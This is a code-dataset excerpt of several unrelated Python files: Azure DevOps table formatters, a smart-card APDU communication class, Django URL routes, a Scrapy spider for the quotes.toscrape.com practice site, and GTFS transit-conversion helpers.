table_output = []\n for item in result:\n table_output.append(_transform_build_row(item))\n return table_output\n\n\ndef transform_build_table_output(result):\n \"\"\"\n Prepares overall build table for ouput\n \"\"\"\n table_output = [_transform_build_row(result)]\n return table_output\n\n\ndef _transform_build_row(row):\n \"\"\"\n Prepares individual build rows for output\n \"\"\"\n REF_HEADS_PREFIX = 'refs/heads/'\n table_row = OrderedDict()\n table_row['Build Number'] = row.build_number\n table_row['Definition Name'] = row.definition.name\n table_row['Status'] = row.status\n table_row['Reason'] = row.reason\n if row.result:\n table_row['Result'] = row.result\n else:\n table_row['Result'] = ' '\n table_row['Definition ID'] = row.definition.id\n table_row['Definition Name'] = row.definition.name\n\n if row.source_branch:\n source_branch = row.source_branch\n if source_branch[0:len(REF_HEADS_PREFIX)] == REF_HEADS_PREFIX:\n source_branch = source_branch[len(REF_HEADS_PREFIX):]\n table_row['Source Branch'] = source_branch\n else:\n table_row['Source Branch'] = ' '\n\n table_row['Repository'] = {}\n table_row['Repository']['Name'] = row.repository.name\n table_row['Repository']['ID'] = row.repository.id\n table_row['Repository']['Type'] = row.repository.type\n table_row['Repository']['URL'] = row.repository.url\n\n table_row['Agent Pool'] = {}\n table_row['Agent Pool']['ID'] = row.queue.pool.id\n table_row['Agent Pool']['Name'] = row.queue.pool.name\n\n table_row['Queue'] = {}\n table_row['Queue']['Queue Time'] = row.queue_time.strftime('%a, %d %B %Y - %H:%M:%S %Z')\n table_row['Queue']['Start Time'] = row.start_time.strftime('%a, %d %B %Y - %H:%M:%S %Z')\n table_row['Queue']['Finish Time'] = row.finish_time.strftime('%a, %d %B %Y - %H:%M:%S %Z')\n table_row['Queue']['Duration'] = str(row.finish_time - row.start_time)\n return table_row\n\n\ndef transform_build_tags_output(result):\n table_output = []\n for item in result:\n table_output.append(_transform_build_tags_row(item))\n return table_output\n\n\ndef _transform_build_tags_row(row):\n table_row = OrderedDict()\n table_row['Tags'] = row\n return table_row\n\n\ndef transform_definitions_table_output(result):\n table_output = []\n include_draft_column = False\n for item in result:\n if item['quality'] == 'draft':\n include_draft_column = True\n break\n for item in result:\n table_output.append(_transform_definition_row(item, include_draft_column))\n return table_output\n\n\ndef transform_definition_table_output(result):\n table_output = [_transform_definition_row(result, result.quality == 'draft')]\n return table_output\n\n\ndef _transform_definition_row(row, include_draft_column=False):\n table_row = OrderedDict()\n table_row['ID'] = row.id\n table_row['Name'] = row.name\n table_row['Authored By'] = row.authored_by.display_name\n table_row['Created Date'] = row.created_date.strftime('%a, %d %B %Y - %H:%M:%S %Z')\n\n table_row['Repository'] = {}\n table_row['Repository']['Name'] = row.repository.name\n table_row['Repository']['ID'] = row.repository.id\n table_row['Repository']['Type'] = row.repository.type\n table_row['Repository']['URL'] = row.repository.url\n\n table_row['Pool'] = {}\n table_row['Pool']['ID'] = row.queue.pool.id\n table_row['Pool']['Name'] = row.queue.pool.name\n\n table_row['Retention Policy'] = []\n for item in range(len(row.retention_rules)):\n table_row['Retention Policy'].append({'Days to Keep': row.retention_rules[item].days_to_keep,\n 'Minium to Keep': row.retention_rules[item].minimum_to_keep})\n\n table_row['Triggers'] = []\n for item in range(len(row.triggers)):\n table_row['Triggers'].append(row.triggers[item])\n\n if include_draft_column:\n if row.quality == 'draft':\n table_row['Draft'] = True\n else:\n table_row['Draft'] = ' '\n if row.queue_status:\n table_row['Queue Status'] = row.queue_status\n else:\n table_row['Queue Status'] = ' '\n if row.queue:\n table_row['Default Queue'] = row.queue.name\n else:\n table_row['Default Queue'] = ' '\n return table_row\n\n\ndef transform_tasks_table_output(result):\n table_output = []\n for item in sorted(result, key=_get_task_key):\n table_output.append(_transform_task_row(item))\n return table_output\n\n\ndef transform_task_table_output(result):\n table_output = [_transform_task_row(result)]\n return table_output\n\n\ndef _transform_task_row(row):\n table_row = OrderedDict()\n table_row['ID'] = row['id']\n table_row['Name'] = row['name']\n table_row['Author'] = row['author']\n table_row['Version'] = '.'.join([str(row['version']['major']),\n str(row['version']['minor']),\n str(row['version']['patch'])])\n if row['version']['isTest']:\n table_row['Version'] += '*'\n return table_row\n\n\ndef _get_task_key(row):\n return row['name'].lower()\n\n\ndef transform_releases_table_output(result):\n table_output = []\n for item in result:\n table_output.append(_transform_release_row(item))\n return table_output\n\n\ndef transform_release_table_output(result):\n table_output = [_transform_release_row(result)]\n return table_output\n\n\ndef _transform_release_row(row):\n table_row = OrderedDict()\n table_row['ID'] = row['id']\n table_row['Name'] = row['name']\n table_row['Definition Name'] = row['releaseDefinition']['name']\n table_row['Created By'] = row['createdBy']['displayName']\n created_on = dateutil.parser.parse(row['createdOn']).astimezone(dateutil.tz.tzlocal())\n table_row['Created On'] = str(created_on.date()) + ' ' + str(created_on.time())\n table_row['Status'] = row['status']\n table_row['Description'] = row['description']\n return table_row\n\n\ndef transform_release_definitions_table_output(result):\n table_output = []\n for item in result:\n table_output.append(_transform_release_definition_row(item))\n return table_output\n\n\ndef transform_release_definition_table_output(result):\n table_output = [_transform_release_definition_row(result)]\n return table_output\n\n\ndef _transform_release_definition_row(row):\n table_row = OrderedDict()\n table_row['ID'] = row['id']\n table_row['Name'] = row['name']\n table_row['CreatedBy'] = row['createdBy']['displayName']\n table_row['Created On'] = row['createdOn']\n return table_row\n","sub_path":"azdevman/utils/_format.py","file_name":"_format.py","file_ext":"py","file_size_in_byte":7075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"97832479","text":"from pysc.tools.stringhex import StringHex\nfrom pysc.lowlevel.driver import DriverPCSC\nfrom pysc.tools.log import LogConsole\nfrom pysc.tools.check import Check\n\n\nclass Communication(object):\n\n def __init__(self, driver=None):\n if driver:\n self.driver = driver\n else:\n self.driver = DriverPCSC()\n self.logger = LogConsole()\n self.checker = Check(logger=self.logger)\n\n def readers(self):\n readers_list = self.driver.readers()\n self.log_raw(\"Card readers:\")\n for r in readers_list:\n self.logger.log(\"raw\", \" - {0}\".format(r))\n self.log_raw(\"\")\n return readers_list\n\n def cold_reset(self):\n self.logger.log(\"cold_reset\")\n atr = self.driver.cold_reset()\n self.logger.log(\"atr\", atr)\n self.log_raw(\"\")\n return atr\n\n def warm_reset(self):\n self.logger.log(\"warm_reset\")\n atr = self.driver.warm_reset()\n self.logger.log(\"atr\", atr)\n self.log_raw(\"\")\n return atr\n\n def connect(self, reader, protocol):\n assert protocol in (\"T0\", \"T1\", \"T0T1\")\n atr = self.driver.connect(reader, protocol)\n self.logger.log(\"connect\", reader + \" / \" + self.driver.protocol())\n return atr\n\n def connect_auto(self):\n readers = self.driver.readers()\n reader = readers[0]\n atr = self.driver.connect(reader)\n self.logger.log(\"connect\", reader + \" / \" + self.driver.protocol())\n return atr\n\n def send(self, h, data=\"\", le=\"\"):\n protocol = self.driver.protocol()\n assert protocol in (\"T0\", \"T1\")\n case = None\n # T1 (easier)\n if self.driver.protocol() == \"T1\":\n if data == \"\":\n tpdu = StringHex(h) + le\n else:\n tpdu = StringHex(h) + StringHex(data).len() + data + le\n # T0 (more complicated)\n elif self.driver.protocol() == \"T0\":\n if data == \"\" and le == \"\":\n case = \"c1\"\n tpdu = StringHex(h)\n elif data == \"\" and le != \"\":\n case = \"c2\"\n tpdu = StringHex(h) + StringHex(le)\n elif data != \"\" and le == \"\":\n case = \"c3\"\n tpdu = StringHex(h) + StringHex(data).len() + StringHex(data)\n else:\n case = \"c4\"\n tpdu = StringHex(h) + StringHex(data).len() + StringHex(data)\n else:\n # Unknown ... we should never reach here\n return \"\", \"6FFF\"\n # Send\n self._send_and_log(tpdu)\n # Get Response needed in T0\n if case == \"c4\":\n if self.resp_sw[0] == \"61\":\n if le == b\"00\":\n le = StringHex(b\"0100\")\n new_le = StringHex.min(le, self.resp_sw[-1])\n tpdu = b\"00c00000\" + new_le\n self._send_and_log(tpdu)\n # Re-send with corrected Le needed\n if case == \"c2\":\n if self.resp_sw[0] == \"6c\":\n tpdu = StringHex(h) + self.resp_sw[-1]\n self._send_and_log(tpdu)\n # OK\n self.log_raw(\"\")\n return self.resp_data, self.resp_sw\n\n # Wrapper to log facilities\n\n def log(self, msg):\n self.logger.log(\"comment\", msg)\n\n def log_raw(self, msg):\n self.logger.log(\"raw\", msg)\n\n def log_header(self, msg):\n self.logger.log(\"header\", msg)\n\n # Wrapper to check facilities\n\n def check_data(self, expected):\n return self.checker.check_data(expected, self.resp_data)\n\n def check_sw(self, expected):\n return self.checker.check_sw(expected, self.resp_sw)\n\n def log_check_stats(self):\n self.checker.log_stats()\n\n # Private / auxiliary methods\n\n def _send_and_log(self, tpdu):\n self.logger.log(\"send\", tpdu)\n resp = self.driver.send(tpdu)\n self.logger.log(\"resp\", resp)\n self.resp_data = resp[:-2]\n self.resp_sw = resp[-2:]\n","sub_path":"CartesPuces/Carte-a-puce-2015/lib/pysc/communication.py","file_name":"communication.py","file_ext":"py","file_size_in_byte":3982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"442402133","text":"from django.conf.urls import url\nfrom django.views.generic import TemplateView\n\nfrom . import views\nfrom django.urls import path\n\napp_name = 'mt'\nurlpatterns = [\n path ( '' , views.index , name='index' ) ,\n url ( r'^home/$' , views.home , name='home' ) ,\n\n\n path ( 'register/' , views.register , name='register' ) ,\n path('request_list', views.request_list, name='request_list'),\n path('booking_list', views.booking_list, name='booking_list'),\n path('package_list', views.package_list, name='package_list'),\n path ( 'unit_list' , views.unit_list , name='unit_list' ) ,\n path ( 'AdminUnit_list' , views.adminUnit_list , name='adminUnit_list' ) ,\n path ( 'staff_request_list' , views.staffrequest_list , name='staffrequest_list' ) ,\n path('request/create/', views.request_new, name='request_new'),\n path('booking/create/', views.reservation_new, name='reservation_new'),\n path('package/create/', views.package_new, name='package_new'),\n path('unit/add/', views.unit_add, name='unit_add'),\n path ( 'request//edit/' , views.request_edit , name='request_edit' ) ,\n path ( 'package//edit/' , views.package_edit , name='package_edit' ) ,\n path ( 'booking//edit/' , views.booking_edit , name='booking_edit' ) ,\n path ( 'res_unit' , views.res_unit , name='res_unit' ) ,\n path ( 'res_profile' , views.res_profile , name='res_profile' ) ,\n path ( 'resident//edit/' , views.resprofile_edit , name='resprofile_edit' ) ,\n path ( 'resUnit//edit/' , views.resUnit_edit , name='resUnit_edit' ) ,\n path ( 'userList' , views.userList , name='userList' ) ,\n path ( 'user//edit/' , views.user_edit , name='user_edit' ) ,\n path ( 'user//delete/' , views.user_delete , name='user_delete' ) ,\n path ( 'search_form' , views.search_form , name='search_form' ) ,\n url ( 'resident_email/' , views.resident_email , name='resident_email' ) ,\n url ( r'^staffcalendar/$' , views.CalendarStaffView.as_view ( ) , name='staffcalendar' ) ,\n\n\n]\n","sub_path":"mt/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"273347653","text":"import scrapy\r\nfrom ..items import ScrapyprojectItem\r\n\r\nclass QuotesSpider(scrapy.Spider):\r\n name = 'quotes'\r\n start_urls = [\r\n \"http://quotes.toscrape.com/login\"\r\n ]\r\n def parse(self, response):\r\n token = response.css('form input::attr(value)').extract_first()\r\n return FormRequest.from_response(response,formdata={\r\n 'csrf_token' : token,\r\n 'username' : 'hey',\r\n 'password' : 'ssss'\r\n },callback=self.start_scrapping)\r\n\r\n def start_scrapping( self , response):\r\n items = ScrapyprojectItem()\r\n all_div_quotes = response.css('div.quote')\r\n for quotes in all_div_quotes:\r\n title = quotes.css('span.text::text').extract()\r\n author = quotes.css('.author::text').extract()\r\n tag = quotes.css('.tag::text').extract()\r\n items['title'] = title\r\n items['author'] = author\r\n items['tag'] = tag\r\n yield items\r\n next_page = response.css('li.next a::attr(href)').get()\r\n if next_page is not None:\r\n yield response.follow(next_page, callback = self.parse)\r\n","sub_path":"scrapyproject/spiders/quotes_spyder.py","file_name":"quotes_spyder.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"277316717","text":"try: import ijson.backends.yajl2_c as ijson\nexcept: import ijson\n\nfrom datetime import datetime, timedelta, date\nfrom warnings import warn\nfrom bs4 import BeautifulSoup\nfrom copy import copy\nfrom tempfile import TemporaryDirectory\nimport pykakasi\nimport requests\nimport iso8601\nimport json\nimport csv\nimport io\nimport os\nimport re\n\nfrom .err import DataAssertion\nfrom .utils import print_log\nfrom .const import GTFS_HEADERS, ADDITIONAL_ENGLISH, GET_TIMEOUT\n\n\"\"\"\nThis file contains object that are used to\n_handle_ some more complicated stuff.\n\nCurrently used to simplify:\n- Getting and caching data from API\n- handling calendars\n- handling translations\n- calculating time-realted things\n\"\"\"\n\ndef JSONIterator(buffer):\n \"\"\"Creates a ijson iterator over all items,\n then automatically closes the provided buffer.\n \"\"\"\n try:\n yield from ijson.items(buffer, \"item\")\n finally:\n buffer.close()\n\ndef TrainTripIterator(api, conversion_time):\n odpt_trips = api.get(\"TrainTimetable\")\n parsed_trips = set()\n\n for trip in odpt_trips:\n # Check if trip has not expired\n if \"dct:valid\" in trip:\n valid_until = iso8601.parse_date(trip[\"dct:valid\"])\n\n if valid_until <= conversion_time:\n continue\n\n # Avoid duplicate trips, it sometimes happens\n if trip[\"owl:sameAs\"] in parsed_trips:\n continue\n\n parsed_trips.add(trip[\"owl:sameAs\"])\n\n yield trip\n\nclass TimeValue:\n \"\"\"An object representing a GTFS time value.\n\n :param seconds: The amount of seconds since 12:00 - 12 hours.\n :type secnonds: int\n \"\"\"\n def __init__(self, seconds):\n self.m, self.s = divmod(int(seconds), 60)\n self.h, self.m = divmod(self.m, 60)\n\n def __str__(self):\n \"Return GTFS-compliant string representation of time\"\n return f\"{self.h:0>2}:{self.m:0>2}:{self.s:0>2}\"\n\n def __repr__(self): return \"